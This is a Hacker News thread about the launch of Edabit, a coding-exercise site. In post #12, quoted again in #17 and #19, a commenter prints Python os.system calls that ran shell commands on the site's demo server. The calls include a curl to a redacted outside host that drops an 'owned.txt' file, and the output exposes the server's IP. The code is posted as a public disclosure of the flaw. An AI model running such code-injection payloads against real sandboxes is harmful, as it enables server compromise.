Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

Post reply on HN
Print view View original

11–20 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#12

Post by xtrapolate »

Good job. However, I was able to run the following on your machine (on the publicly available demo page):

def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/")) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8"))

Results:

codewarrior 5a8eb7db8f0e 162.243.103.238 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms

162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#14

Post by crispyambulance »

gammateam wrote: post #11

so you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?

I think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that.

Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway.

After taking a cursory look around, Edabit seems to be filling a very specific need. I like it.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#15

Post by gammateam »

crispyambulance wrote: post #14
gammateam wrote: post #11

so you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?

I think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that. Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway. After taking a cursory look around,…

I was just trying to understand the Duolingo analogy

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#16

Post by reificator »

mxschumacher wrote: post #9

I think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site

While I tend to avoid w3schools in general, according to https://www.w3fools.com/ it's gotten better over time.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#17

Post by procinct »

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#19

Post by rjplatte »

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

He needs to be running a client-side service, not running whatever someone enters on his machine

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#20

Post by expathacker »

rjplatte wrote: post #3

Why don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?

This is also one of my complaints about Duolingo to be honest, in that they only give you information about the lessons you're doing if you navigate to a specific page before starting an exercise (on the web interface, I haven't used the mobile interface). Ui-bug for Ui-bug compatibility?
Post reply on HN